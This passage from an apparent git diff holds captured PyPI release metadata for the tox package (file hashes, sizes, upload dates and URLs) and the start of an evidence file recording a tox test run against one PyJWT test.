7effac9fd7b2f2/tox-4.61.1.tar.gz","yanked":false,"yanked_reason":null}],"4.61.2":[{"comment_text":null,"core-metadata":{"sha256":"9f96b63d5ef6617c8ea3badeb05fedd28d11ad9dce0ccdfb2ec5ca7a9de39537"},"digests":{"blake2b_256":"50c93e78716c0b994a75f064d36ae56d707435dd147d6945914aaa6372fe3ccf","md5":"5d436975372ee1a917eb4d062d306cf7","sha256":"262efa52b735004dcef04ae4c934614ec4e5c61319a14d1e762c18db7fdb82c3"},"downloads":-1,"filename":"tox-4.61.2-py3-none-any.whl","has_sig":false,"md5_digest":"5d436975372ee1a917eb4d062d306cf7","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":227984,"upload_time":"2026-08-31T20:19:51","upload_time_iso_8601":"2026-08-31T20:19:51.709589Z","url":"https://files.pythonhosted.org/packages/50/c9/3e78716c0b994a75f064d36ae56d707435dd147d6945914aaa6372fe3ccf/tox-4.61.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"c38b2e25d11c05e006438f8a1f20f8814aeb576ec8b3bf157f68454d2dcc09bf","md5":"a0a09b83c80635cc7d16aaa1395f1768","sha256":"463b6eeaaf0929d60b4f7a87b26f4a7a764fe9832a74bf50b4e9d259b6a8e905"},"downloads":-1,"filename":"tox-4.61.2.tar.gz","has_sig":false,"md5_digest":"a0a09b83c80635cc7d16aaa1395f1768","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":306825,"upload_time":"2026-08-31T20:19:53","upload_time_iso_8601":"2026-08-31T20:19:53.614798Z","url":"https://files.pythonhosted.org/packages/c3/8b/2e25d11c05e006438f8a1f20f8814aeb576ec8b3bf157f68454d2dcc09bf/tox-4.61.2.tar.gz","yanked":false,"yanked_reason":null}],"4.61.3":[{"comment_text":null,"core-metadata":{"sha256":"593a95e44c45a425efc02bee92b9176d640fbf40b5e9818be41aec5a1281811c"},"digests":{"blake2b_256":"17fc367c3824ae233e18a781537014354cc1ae7a78f139087e3d4d23e6a00e5e","md5":"6fdc711b1080e71401d39f8c011e4ff7","sha256":"457be63afbc08c0b04e52adcd51b3713da9d8f1e8a7057c0d50111dc00026738"},"downloads":-1,"filename":"tox-4.61.3-py3-none-any.whl","has_sig":false,"md5_digest":"6fdc711b1080e71401d39f8c011e4ff7","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":228124,"upload_time":"2026-09-08T20:02:27","upload_time_iso_8601":"2026-09-08T20:02:27.864849Z","url":"https://files.pythonhosted.org/packages/17/fc/367c3824ae233e18a781537014354cc1ae7a78f139087e3d4d23e6a00e5e/tox-4.61.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"4fc200c120f553c7dbcf914304da733a93e6f05d899c176671d3afa5fc0d2d1c","md5":"399d5bd6c678648f710ed204467a850c","sha256":"908c5e12355ccb7b1ad088089a4be892ee2ee977ae0ca89e577ed8fc59c326fd"},"downloads":-1,"filename":"tox-4.61.3.tar.gz","has_sig":false,"md5_digest":"399d5bd6c678648f710ed204467a850c","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":307979,"upload_time":"2026-09-08T20:02:29","upload_time_iso_8601":"2026-09-08T20:02:29.639586Z","url":"https://files.pythonhosted.org/packages/4f/c2/00c120f553c7dbcf914304da733a93e6f05d899c176671d3afa5fc0d2d1c/tox-4.61.3.tar.gz","yanked":false,"yanked_reason":null}],"4.61.4":[{"comment_text":null,"core-metadata":{"sha256":"59d1df9b4a2c20b694320327eb84719722b9389f1703641c3f12c0e3d43c4b30"},"digests":{"blake2b_256":"4eca1c3c0e8c21caa393648ec6d62ee14aa802ea0d94553ceb2dd71f50b85a10","md5":"eec9b3d8873be89fd6fab69f1ea98202","sha256":"1ec27a26f485c408a3f128722959086099894955d1eb74ab973e233bd362e99e"},"downloads":-1,"filename":"tox-4.61.4-py3-none-any.whl","has_sig":false,"md5_digest":"eec9b3d8873be89fd6fab69f1ea98202","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":228143,"upload_time":"2026-09-09T01:37:10","upload_time_iso_8601":"2026-09-09T01:37:10.621253Z","url":"https://files.pythonhosted.org/packages/4e/ca/1c3c0e8c21caa393648ec6d62ee14aa802ea0d94553ceb2dd71f50b85a10/tox-4.61.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"33575a24f6f81ee81a25d34773045db61ddef3a76ed43e6fbd0fca2657678ad6","md5":"f507acfd572904c442ed4764d43768c8","sha256":"d3fa82dc2fe847fe45b576ed0614e850a674aadec3a664f409e2bf295c473e20"},"downloads":-1,"filename":"tox-4.61.4.tar.gz","has_sig":false,"md5_digest":"f507acfd572904c442ed4764d43768c8","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":308140,"upload_time":"2026-09-09T01:37:12","upload_time_iso_8601":"2026-09-09T01:37:12.183512Z","url":"https://files.pythonhosted.org/packages/33/57/5a24f6f81ee81a25d34773045db61ddef3a76ed43e6fbd0fca2657678ad6/tox-4.61.4.tar.gz","yanked":false,"yanked_reason":null}],"4.61.5":[{"comment_text":null,"core-metadata":{"sha256":"595c5727062d4b15dee436eb1238b6836de77cea067d6ce14bcb7391aaf66024"},"digests":{"blake2b_256":"bd6350231b6fda8759d4451c377f0c4cfb49f4f339c8a15eee1f186f423f205b","md5":"58e4aa49eb0f2d1bd397937adb348e11","sha256":"5f9b109fa0a60b7ccb812e8dacbcf7a06b9a633fa90ae97198334b3464b2f133"},"downloads":-1,"filename":"tox-4.61.5-py3-none-any.whl","has_sig":false,"md5_digest":"58e4aa49eb0f2d1bd397937adb348e11","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":228128,"upload_time":"2026-09-17T04:01:48","upload_time_iso_8601":"2026-09-17T04:01:48.182073Z","url":"https://files.pythonhosted.org/packages/bd/63/50231b6fda8759d4451c377f0c4cfb49f4f339c8a15eee1f186f423f205b/tox-4.61.5-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"87c81a333d5addd65474030ead665d65af8e7a189ebf62983f3b7e4ab2d0627c","md5":"a9df7b832b09b6c617c69ed6bde43287","sha256":"d1f535a6ca4827c087e0a2a173dd74621d6e1688c740c8dd44e0377480020431"},"downloads":-1,"filename":"tox-4.61.5.tar.gz","has_sig":false,"md5_digest":"a9df7b832b09b6c617c69ed6bde43287","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":308508,"upload_time":"2026-09-17T04:01:49","upload_time_iso_8601":"2026-09-17T04:01:49.719146Z","url":"https://files.pythonhosted.org/packages/87/c8/1a333d5addd65474030ead665d65af8e7a189ebf62983f3b7e4ab2d0627c/tox-4.61.5.tar.gz","yanked":false,"yanked_reason":null}],"4.62.0":[{"comment_text":null,"core-metadata":{"sha256":"f8d20dc3ee34427ce22569e1b220f53e693802e5884e90236baa5b3d6895f485"},"digests":{"blake2b_256":"577d2b68e49b78f1709ce005ef858fd6549793f2b038d68cfa9509ec350d2c93","md5":"d41eb265136b2405a4c0b521ccfebe4e","sha256":"99979ebae1d657706cb84f176fbdf012d606bf16c014b4be6c90af8b736515ff"},"downloads":-1,"filename":"tox-4.62.0-py3-none-any.whl","has_sig":false,"md5_digest":"d41eb265136b2405a4c0b521ccfebe4e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":229948,"upload_time":"2026-09-19T04:04:25","upload_time_iso_8601":"2026-09-19T04:04:25.850452Z","url":"https://files.pythonhosted.org/packages/57/7d/2b68e49b78f1709ce005ef858fd6549793f2b038d68cfa9509ec350d2c93/tox-4.62.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"5d85f29e61f6938c7ae39054e15694bbd7ffe7a52cbdf1b82b8ee8b6dfb7cf6d","md5":"20c40541f858a11da1d6ae27a82d086d","sha256":"4095724c046c32c52e24066f2e55006f3ac4480e733d144e03d81f2f3ece040f"},"downloads":-1,"filename":"tox-4.62.0.tar.gz","has_sig":false,"md5_digest":"20c40541f858a11da1d6ae27a82d086d","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":309684,"upload_time":"2026-09-19T04:04:27","upload_time_iso_8601":"2026-09-19T04:04:27.796371Z","url":"https://files.pythonhosted.org/packages/5d/85/f29e61f6938c7ae39054e15694bbd7ffe7a52cbdf1b82b8ee8b6dfb7cf6d/tox-4.62.0.tar.gz","yanked":false,"yanked_reason":null}],"4.62.1":[{"comment_text":null,"core-metadata":{"sha256":"00f69ff6bc2ffa16bc3d620ba87553aa2716abc080fd893480e41234c4e78a25"},"digests":{"blake2b_256":"ae5f2fbc143aec331db469e818c7de6f2234e8e7a6ec729b1639322ea7b21300","md5":"de037f6f4b55dce79e6d228d0ce84e80","sha256":"e35e939624079a8cc24c55ee3a1d9d540dca97497b5772a4b397944de334eac5"},"downloads":-1,"filename":"tox-4.62.1-py3-none-any.whl","has_sig":false,"md5_digest":"de037f6f4b55dce79e6d228d0ce84e80","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":229965,"upload_time":"2026-09-19T15:01:59","upload_time_iso_8601":"2026-09-19T15:01:59.981530Z","url":"https://files.pythonhosted.org/packages/ae/5f/2fbc143aec331db469e818c7de6f2234e8e7a6ec729b1639322ea7b21300/tox-4.62.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"71c0784ca2ff086585070c0113783a5c5d9af9f3ba90933ba5520aa8be800d3b","md5":"ea3c85d8dfbe07b0b635ba117069dd76","sha256":"17cdf6aded0b48c1b7f07c85f8262cd7e0f217ec872c6e66e41924af432e59bf"},"downloads":-1,"filename":"tox-4.62.1.tar.gz","has_sig":false,"md5_digest":"ea3c85d8dfbe07b0b635ba117069dd76","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":309885,"upload_time":"2026-09-19T15:02:01","upload_time_iso_8601":"2026-09-19T15:02:01.740678Z","url":"https://files.pythonhosted.org/packages/71/c0/784ca2ff086585070c0113783a5c5d9af9f3ba90933ba5520aa8be800d3b/tox-4.62.1.tar.gz","yanked":false,"yanked_reason":null}],"4.63.0":[{"comment_text":null,"core-metadata":{"sha256":"6bebaaaa302354d9f946ce48efe2fa780346f8131c57037be5a55250499a513c"},"digests":{"blake2b_256":"1a4dd0e37d254b4ad5492d63ea60981365a5122261b5954a9d952d8b15283e26","md5":"1cafd09c2f400ef1a2636d0c101960c6","sha256":"e8c560a9124e127c5e0547912d2ae1ef948dbba2fdea0b8d506e609a126b2e47"},"downloads":-1,"filename":"tox-4.63.0-py3-none-any.whl","has_sig":false,"md5_digest":"1cafd09c2f400ef1a2636d0c101960c6","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":229324,"upload_time":"2026-09-19T16:45:33","upload_time_iso_8601":"2026-09-19T16:45:33.829540Z","url":"https://files.pythonhosted.org/packages/1a/4d/d0e37d254b4ad5492d63ea60981365a5122261b5954a9d952d8b15283e26/tox-4.63.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"3593ce52def83be73dcb86c0c5985f40808917f09828c1616d4018206c3dbba3","md5":"4ceaf4328d2922f68d482f065632eef3","sha256":"fb7105ef125b371e31797cfa615e5a160de3d8ef29b86dca7fcbd9048da3a9d8"},"downloads":-1,"filename":"tox-4.63.0.tar.gz","has_sig":false,"md5_digest":"4ceaf4328d2922f68d482f065632eef3","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":310965,"upload_time":"2026-09-19T16:45:35","upload_time_iso_8601":"2026-09-19T16:45:35.275391Z","url":"https://files.pythonhosted.org/packages/35/93/ce52def83be73dcb86c0c5985f40808917f09828c1616d4018206c3dbba3/tox-4.63.0.tar.gz","yanked":false,"yanked_reason":null}],"4.64.0":[{"comment_text":null,"core-metadata":{"sha256":"d376eecd8199f505fbc84ab936c946a35c77a3f11112e54ca6e3f842419b24c5"},"digests":{"blake2b_256":"17cac38ed5761674fa581f31f69afc26a8a0b9f701af83d2aac4cf5e671ebf7d","md5":"6221dfbba256ef86e8d760509d29b936","sha256":"0c6d857b5ab6b60e2ae0dc8ca297de2ba50842bf8f1cb78b50b5d97775d1a9c9"},"downloads":-1,"filename":"tox-4.64.0-py3-none-any.whl","has_sig":false,"md5_digest":"6221dfbba256ef86e8d760509d29b936","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":231379,"upload_time":"2026-09-24T00:09:51","upload_time_iso_8601":"2026-09-24T00:09:51.708860Z","url":"https://files.pythonhosted.org/packages/17/ca/c38ed5761674fa581f31f69afc26a8a0b9f701af83d2aac4cf5e671ebf7d/tox-4.64.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"b0b3698c3897f87961da7d1bb4df801ad973a92871a0bca09f1ed8e6ed6adc22","md5":"3935b38be8e0eee5d09cc8a2d3316728","sha256":"618aae7f71a6d6854e04ff78155c2d0883218a2ea7d3d9f15f4eb59415ff78a2"},"downloads":-1,"filename":"tox-4.64.0.tar.gz","has_sig":false,"md5_digest":"3935b38be8e0eee5d09cc8a2d3316728","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":314163,"upload_time":"2026-09-24T00:09:53","upload_time_iso_8601":"2026-09-24T00:09:53.530013Z","url":"https://files.pythonhosted.org/packages/b0/b3/698c3897f87961da7d1bb4df801ad973a92871a0bca09f1ed8e6ed6adc22/tox-4.64.0.tar.gz","yanked":false,"yanked_reason":null}],"4.64.1":[{"comment_text":null,"core-metadata":{"sha256":"3960eb4b50eedb8c5e1c29389360ba235f3c88858afd8065802ee4d1aeeaa915"},"digests":{"blake2b_256":"9f80ad62157d57ee9f2e1e05c456f2e6ac1294ddd1fa52913f37fc4355e66598","md5":"e00c1916101df28fc9ce4d14ca3aaa61","sha256":"3089cfb112f8c5a1fcc652b49e4c708bb00cbaa7c908078ebe470e08f112de4c"},"downloads":-1,"filename":"tox-4.64.1-py3-none-any.whl","has_sig":false,"md5_digest":"e00c1916101df28fc9ce4d14ca3aaa61","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":231589,"upload_time":"2026-09-24T01:25:02","upload_time_iso_8601":"2026-09-24T01:25:02.206647Z","url":"https://files.pythonhosted.org/packages/9f/80/ad62157d57ee9f2e1e05c456f2e6ac1294ddd1fa52913f37fc4355e66598/tox-4.64.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"6f88b0fff358c90fc49e0e619604d17b1edd26ab931853ed73a559f3b5bdf0c8","md5":"6a6d4cf28f8ead86679469f0ae421e55","sha256":"d10dd88c32e9f15f0ec831f9ebacb9b253f671fd1287d49bead2852fc6225271"},"downloads":-1,"filename":"tox-4.64.1.tar.gz","has_sig":false,"md5_digest":"6a6d4cf28f8ead86679469f0ae421e55","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":314417,"upload_time":"2026-09-24T01:25:03","upload_time_iso_8601":"2026-09-24T01:25:03.947856Z","url":"https://files.pythonhosted.org/packages/6f/88/b0fff358c90fc49e0e619604d17b1edd26ab931853ed73a559f3b5bdf0c8/tox-4.64.1.tar.gz","yanked":false,"yanked_reason":null}],"4.64.2":[{"comment_text":null,"core-metadata":{"sha256":"1b2a4d2725c36ff97432648a170379518fe56bd6d30529da4e35298f1348f843"},"digests":{"blake2b_256":"3e88a3b00c30dc1ce6c0fa205ddf5cc1ad1d87dbcadd3437f3b1933db3c5ac89","md5":"182468d13820d2de13560f47a63d8197","sha256":"6cca0b606158f646ba6c9d54c71d5a6e7b1f207344936a7b3a9c4cdffebde387"},"downloads":-1,"filename":"tox-4.64.2-py3-none-any.whl","has_sig":false,"md5_digest":"182468d13820d2de13560f47a63d8197","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":232312,"upload_time":"2026-09-24T20:39:39","upload_time_iso_8601":"2026-09-24T20:39:39.333043Z","url":"https://files.pythonhosted.org/packages/3e/88/a3b00c30dc1ce6c0fa205ddf5cc1ad1d87dbcadd3437f3b1933db3c5ac89/tox-4.64.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"bf921e311d474eb0892125dacb9aabe0b6a87945a69445cd9685b3f6a2d013ca","md5":"d55507957b8fe3fd8037cd1faea71f51","sha256":"64198e9beb76f907c4fe65a87e05c26aa3cd79c85a7162f5052484f866adda06"},"downloads":-1,"filename":"tox-4.64.2.tar.gz","has_sig":false,"md5_digest":"d55507957b8fe3fd8037cd1faea71f51","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":315797,"upload_time":"2026-09-24T20:39:41","upload_time_iso_8601":"2026-09-24T20:39:41.188605Z","url":"https://files.pythonhosted.org/packages/bf/92/1e311d474eb0892125dacb9aabe0b6a87945a69445cd9685b3f6a2d013ca/tox-4.64.2.tar.gz","yanked":false,"yanked_reason":null}],"4.64.3":[{"comment_text":null,"core-metadata":{"sha256":"2020307ce0147b8c7e13e9c1b2ae5a5774f0a666450dfa50e109e1800372d398"},"digests":{"blake2b_256":"f74b0d959692ebf9d2ba9acf6cacf5525d3023ac609f37a249aacb8d327338c7","md5":"d27e508216b5bef2fa3ba01122ae919b","sha256":"f6e680a6eacc0201e9ff10959257bdb88036d03db1d8fb6b480c83da2137d68b"},"downloads":-1,"filename":"tox-4.64.3-py3-none-any.whl","has_sig":false,"md5_digest":"d27e508216b5bef2fa3ba01122ae919b","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":232515,"upload_time":"2026-09-26T01:36:27","upload_time_iso_8601":"2026-09-26T01:36:27.825207Z","url":"https://files.pythonhosted.org/packages/f7/4b/0d959692ebf9d2ba9acf6cacf5525d3023ac609f37a249aacb8d327338c7/tox-4.64.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"a2c4999ef00c422f6aa3c0932ec07a6465fe50d7a4e2bc7778c18b2927f83595","md5":"9ba169c377f914c4b4cdac1f20544267","sha256":"da24946605de8d5af261a309d092435f69ad0651c7d3e50c7bd92b97c39a77a9"},"downloads":-1,"filename":"tox-4.64.3.tar.gz","has_sig":false,"md5_digest":"9ba169c377f914c4b4cdac1f20544267","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":316391,"upload_time":"2026-09-26T01:36:29","upload_time_iso_8601":"2026-09-26T01:36:29.302566Z","url":"https://files.pythonhosted.org/packages/a2/c4/999ef00c422f6aa3c0932ec07a6465fe50d7a4e2bc7778c18b2927f83595/tox-4.64.3.tar.gz","yanked":false,"yanked_reason":null}],"4.64.4":[{"comment_text":null,"core-metadata":{"sha256":"8162600e56dbf4f7fcf7eab00ad274d24df3bc9bf2532605b99e4478508c3d6a"},"digests":{"blake2b_256":"93ee3283286925ad7021282b01155a3ed4fdc87fd40e1a7e5db4e25183a1592a","md5":"690ee8109940f74acd96ffd5263a0769","sha256":"7158441d235d9e1b588f0e9f0547c07a45b3bd2f31530adb14ff5b3c1e84daeb"},"downloads":-1,"filename":"tox-4.64.4-py3-none-any.whl","has_sig":false,"md5_digest":"690ee8109940f74acd96ffd5263a0769","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":232543,"upload_time":"2026-09-27T16:20:18","upload_time_iso_8601":"2026-09-27T16:20:18.407786Z","url":"https://files.pythonhosted.org/packages/93/ee/3283286925ad7021282b01155a3ed4fdc87fd40e1a7e5db4e25183a1592a/tox-4.64.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"04e07a2ce108942f825c1ac9a2ef931dc53b1a7d18ca25d1ae10add73aa83ebc","md5":"a34f2c62ecd9536129f0a7fa5b663907","sha256":"99e2a36e75202bd468f68126be25f72b8d8483e4a27b65252d6f019e856e62fd"},"downloads":-1,"filename":"tox-4.64.4.tar.gz","has_sig":false,"md5_digest":"a34f2c62ecd9536129f0a7fa5b663907","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":317372,"upload_time":"2026-09-27T16:20:19","upload_time_iso_8601":"2026-09-27T16:20:19.793907Z","url":"https://files.pythonhosted.org/packages/04/e0/7a2ce108942f825c1ac9a2ef931dc53b1a7d18ca25d1ae10add73aa83ebc/tox-4.64.4.tar.gz","yanked":false,"yanked_reason":null}],"4.64.5":[{"comment_text":null,"core-metadata":{"sha256":"6653054cff60e918fc6ebc065187ad54dcb19be802dad0b401a4d17b1c762229"},"digests":{"blake2b_256":"d802a0c2aae73f6c8f6d36fa7f187936bebef43938a5bd3526636bc68516d13e","md5":"eafcafc476419a00ed411782d707c851","sha256":"c29e3ab9d85893f844c602832360c37dae3140472d276604be2dac6f6832293c"},"downloads":-1,"filename":"tox-4.64.5-py3-none-any.whl","has_sig":false,"md5_digest":"eafcafc476419a00ed411782d707c851","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":232578,"upload_time":"2026-09-29T16:38:22","upload_time_iso_8601":"2026-09-29T16:38:22.464554Z","url":"https://files.pythonhosted.org/packages/d8/02/a0c2aae73f6c8f6d36fa7f187936bebef43938a5bd3526636bc68516d13e/tox-4.64.5-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"d85f057ec2325e882e398c12e83b1a41c88cdc60dfefaf9b1b1f9bb6f9478620","md5":"0f7f2d7c284091a352539efac3a582f7","sha256":"24aee91e57db257a59e61c9f942bcdc085388d622967fddd35c771064b7bf091"},"downloads":-1,"filename":"tox-4.64.5.tar.gz","has_sig":false,"md5_digest":"0f7f2d7c284091a352539efac3a582f7","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":317611,"upload_time":"2026-09-29T16:38:24","upload_time_iso_8601":"2026-09-29T16:38:24.140235Z","url":"https://files.pythonhosted.org/packages/d8/5f/057ec2325e882e398c12e83b1a41c88cdc60dfefaf9b1b1f9bb6f9478620/tox-4.64.5.tar.gz","yanked":false,"yanked_reason":null}],"4.7.0":[{"comment_text":"","core-metadata":{"sha256":"fb2a0e83c3f48d6db0ba97b0691c565f4a2e811f140f51175b903d6183ee88dc"},"digests":{"blake2b_256":"74d472eae1bb8b99658e527b35c95a2068b4e78ee591db4353fbae918c1c2f6e","md5":"044c5debf554904689eae8dae619446b","sha256":"79399a3d4641d1fd15eb6bd62c2f35923988038bf0ecf37a688b5e7a767de7d7"},"downloads":-1,"filename":"tox-4.7.0-py3-none-any.whl","has_sig":false,"md5_digest":"044c5debf554904689eae8dae619446b","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":152394,"upload_time":"2023-08-08T15:09:33","upload_time_iso_8601":"2023-08-08T15:09:33.735297Z","url":"https://files.pythonhosted.org/packages/74/d4/72eae1bb8b99658e527b35c95a2068b4e78ee591db4353fbae918c1c2f6e/tox-4.7.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"e861c8a7a82c83b539e830d89b9fb7cc6c20ad241e1526e4ced34643932d40ff","md5":"95576767ddb03b3ca4a62e1044635726","sha256":"89120e1568c763924301cfde61ba7d4b5c4615eeb1086d5370deb03e9cf63c41"},"downloads":-1,"filename":"tox-4.7.0.tar.gz","has_sig":false,"md5_digest":"95576767ddb03b3ca4a62e1044635726","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":172893,"upload_time":"2023-08-08T15:09:36","upload_time_iso_8601":"2023-08-08T15:09:36.256204Z","url":"https://files.pythonhosted.org/packages/e8/61/c8a7a82c83b539e830d89b9fb7cc6c20ad241e1526e4ced34643932d40ff/tox-4.7.0.tar.gz","yanked":false,"yanked_reason":null}],"4.8.0":[{"comment_text":"","core-metadata":{"sha256":"8324be2f5c5006b311aa43974333792068a18f6e3919ccbec0cc6d52e4c98fab"},"digests":{"blake2b_256":"ad0c9ad67a4f8ed18c2619b6b8c41cea4c99e7617d5d712670ab4193d439f1f8","md5":"59eed22cdddbba9a624fbe6cbe100995","sha256":"4991305a56983d750a0d848a34242be290452aa88d248f1bf976e4036ee8b213"},"downloads":-1,"filename":"tox-4.8.0-py3-none-any.whl","has_sig":false,"md5_digest":"59eed22cdddbba9a624fbe6cbe100995","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":152622,"upload_time":"2023-08-12T18:47:09","upload_time_iso_8601":"2023-08-12T18:47:09.458801Z","url":"https://files.pythonhosted.org/packages/ad/0c/9ad67a4f8ed18c2619b6b8c41cea4c99e7617d5d712670ab4193d439f1f8/tox-4.8.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"00218a0d95e6a502c6a0be81c583af9c11066bf1f4e6eeb6551ee8b6f4c7292d","md5":"a2e847246e69795efc57728d15010e63","sha256":"2adacf435b12ccf10b9dfa9975d8ec0afd7cbae44d300463140d2117b968037b"},"downloads":-1,"filename":"tox-4.8.0.tar.gz","has_sig":false,"md5_digest":"a2e847246e69795efc57728d15010e63","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":173370,"upload_time":"2023-08-12T18:47:10","upload_time_iso_8601":"2023-08-12T18:47:10.869636Z","url":"https://files.pythonhosted.org/packages/00/21/8a0d95e6a502c6a0be81c583af9c11066bf1f4e6eeb6551ee8b6f4c7292d/tox-4.8.0.tar.gz","yanked":false,"yanked_reason":null}],"4.9.0":[{"comment_text":"","core-metadata":{"sha256":"e6443153070799816249e5a372e4b64864fd680ed6bad947dd2bfc17d12df97b"},"digests":{"blake2b_256":"a956d93c14c8d6e603293f20c33da6ad492ccea9c5908460abda8850fef9a60a","md5":"d12a161150d81e535e4ffe520748efc4","sha256":"c80de60fe26f9a009b0a763888bf2099ccfbef50a0279a6b9f6de40eb4eb7457"},"downloads":-1,"filename":"tox-4.9.0-py3-none-any.whl","has_sig":false,"md5_digest":"d12a161150d81e535e4ffe520748efc4","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":152760,"upload_time":"2023-08-16T14:32:04","upload_time_iso_8601":"2023-08-16T14:32:04.534054Z","url":"https://files.pythonhosted.org/packages/a9/56/d93c14c8d6e603293f20c33da6ad492ccea9c5908460abda8850fef9a60a/tox-4.9.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4c412de7acd8153e06edce38b60d5b782f7922d93c4708ac70ec3f849970087f","md5":"5364e787ec68ab6e6a37864026d1f4a0","sha256":"9b6d38fe422599d084afd89375b4803f4bc1f8f16573c77c8fd8ffcc6938f1ff"},"downloads":-1,"filename":"tox-4.9.0.tar.gz","has_sig":false,"md5_digest":"5364e787ec68ab6e6a37864026d1f4a0","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":173479,"upload_time":"2023-08-16T14:32:06","upload_time_iso_8601":"2023-08-16T14:32:06.758124Z","url":"https://files.pythonhosted.org/packages/4c/41/2de7acd8153e06edce38b60d5b782f7922d93c4708ac70ec3f849970087f/tox-4.9.0.tar.gz","yanked":false,"yanked_reason":null}]},"urls":[{"comment_text":null,"core-metadata":{"sha256":"6653054cff60e918fc6ebc065187ad54dcb19be802dad0b401a4d17b1c762229"},"digests":{"blake2b_256":"d802a0c2aae73f6c8f6d36fa7f187936bebef43938a5bd3526636bc68516d13e","md5":"eafcafc476419a00ed411782d707c851","sha256":"c29e3ab9d85893f844c602832360c37dae3140472d276604be2dac6f6832293c"},"downloads":-1,"filename":"tox-4.64.5-py3-none-any.whl","has_sig":false,"md5_digest":"eafcafc476419a00ed411782d707c851","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":232578,"upload_time":"2026-09-29T16:38:22","upload_time_iso_8601":"2026-09-29T16:38:22.464554Z","url":"https://files.pythonhosted.org/packages/d8/02/a0c2aae73f6c8f6d36fa7f187936bebef43938a5bd3526636bc68516d13e/tox-4.64.5-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"d85f057ec2325e882e398c12e83b1a41c88cdc60dfefaf9b1b1f9bb6f9478620","md5":"0f7f2d7c284091a352539efac3a582f7","sha256":"24aee91e57db257a59e61c9f942bcdc085388d622967fddd35c771064b7bf091"},"downloads":-1,"filename":"tox-4.64.5.tar.gz","has_sig":false,"md5_digest":"0f7f2d7c284091a352539efac3a582f7","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":317611,"upload_time":"2026-09-29T16:38:24","upload_time_iso_8601":"2026-09-29T16:38:24.140235Z","url":"https://files.pythonhosted.org/packages/d8/5f/057ec2325e882e398c12e83b1a41c88cdc60dfefaf9b1b1f9bb6f9478620/tox-4.64.5.tar.gz","yanked":false,"yanked_reason":null}],"vulnerabilities":[]} + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-unchanged-upstream-tox-regressions.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-unchanged-upstream-tox-regressions.txt new file mode 100644 index 000000000..42bc1011c --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-unchanged-upstream-tox-regressions.txt @@ -0,0 +1,31 @@ +argv: ["rtk", "proxy", "/tox-driver/bin/python", "-m", "tox", "-e", "py313-crypto", "--workdir", "/tox", "--", "tests/test_api_jwt.py::TestJWT::test_decode_payload_recursion_error_throws_decode_error", 